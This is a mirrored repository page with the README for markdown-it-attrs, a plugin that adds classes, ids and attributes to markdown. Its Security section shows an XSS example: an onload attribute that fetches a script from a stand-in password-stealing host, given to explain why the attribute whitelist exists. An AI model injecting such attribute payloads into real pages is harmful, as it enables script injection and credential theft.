# markdown-it-attrs **Repository Path**: mirrors_ibm/markdown-it-attrs ## Basic Information - **Project Name**: markdown-it-attrs - **Description**: This repo is to supplement the existing github.com/IBM/marked-it and github.com/IBM/marked-it-cli for the IBM Cloud marked-it project. - **Primary Language**: Unknown - **License**: MIT - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2021-07-31 - **Last Updated**: 2026-07-05 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # markdown-it-attrs [![Build Status](https://travis-ci.org/arve0/markdown-it-attrs.svg?branch=master)](https://travis-ci.org/arve0/markdown-it-attrs) [![npm version](https://badge.fury.io/js/markdown-it-attrs.svg)](http://badge.fury.io/js/markdown-it-attrs) [![Coverage Status](https://coveralls.io/repos/github/arve0/markdown-it-attrs/badge.svg?branch=master)](https://coveralls.io/github/arve0/markdown-it-attrs?branch=master) Add classes, identifiers and attributes to your markdown with `{.class #identifier attr=value attr2="spaced value"}` curly brackets, similar to [pandoc's header attributes](http://pandoc.org/README.html#extension-header_attributes). Example input: ```md # header {.style-me} paragraph {data-toggle=modal} ``` Output: ```html

header

paragraph

``` Works with inline elements too: ```md paragraph *style me*{.red} more text ``` Output: ```html

paragraph style me more text

``` And fenced code blocks:

```python {data=asdf}
nums = [x for x in range(10)]
```
Output: ```html

nums = [x for x in range(10)]
``` You can use `..` as a short-hand for `css-module=`: ```md Use the css-module green on this paragraph. {..green} ``` Output: ```html

Use the css-module green on this paragraph.

``` Also works with spans, in combination with the [markdown-it-bracketed-spans](https://github.com/mb21/markdown-it-bracketed-spans) plugin (to be installed and loaded as such then): ```md paragraph with [a style me span]{.red} ``` Output: ```html

paragraph with a style me span

``` Attribute definition lists support inheritance of attributes based on [Kramdown Syntax](https://kramdown.gettalong.org/syntax.html#attribute-list-definitions). These must be preceded and followed by an empty line. Example input: ```md {:aldOne: #someid .someclass attr="allowed"} {:aldTwo: aldOne #anotherid .anotherclass anotherattr="allowed"} another text {:aldTwo} ``` Output: ```html

another text

``` ## Install ``` $ npm install --save markdown-it-attrs ``` ## Usage ```js var md = require('markdown-it')(); var markdownItAttrs = require('markdown-it-attrs'); md.use(markdownItAttrs, { // optional, these are default options leftDelimiter: '{', rightDelimiter: '}', allowedAttributes: [] // empty array = all attributes are allowed }); var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}'; var res = md.render(src); console.log(res); ``` [demo as jsfiddle](https://jsfiddle.net/arve0/hwy17omn/) ## Security A user may insert rogue attributes like this: ```js ![](img.png){onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)} ``` If security is a concern, use an attribute whitelist: ```js md.use(markdownItAttrs, { allowedAttributes: ['id', 'class', /^regex.*$/] }); ``` Now only `id`, `class` and attributes beginning with `regex` are allowed: ```md text {#red .green regex=allowed onclick=alert('hello')} ``` Output: ```html

text

``` ## Ambiguity When class can be applied to both inline or block element, inline element will take precedence: ```md - list item **bold**{.red} ``` Output: ```html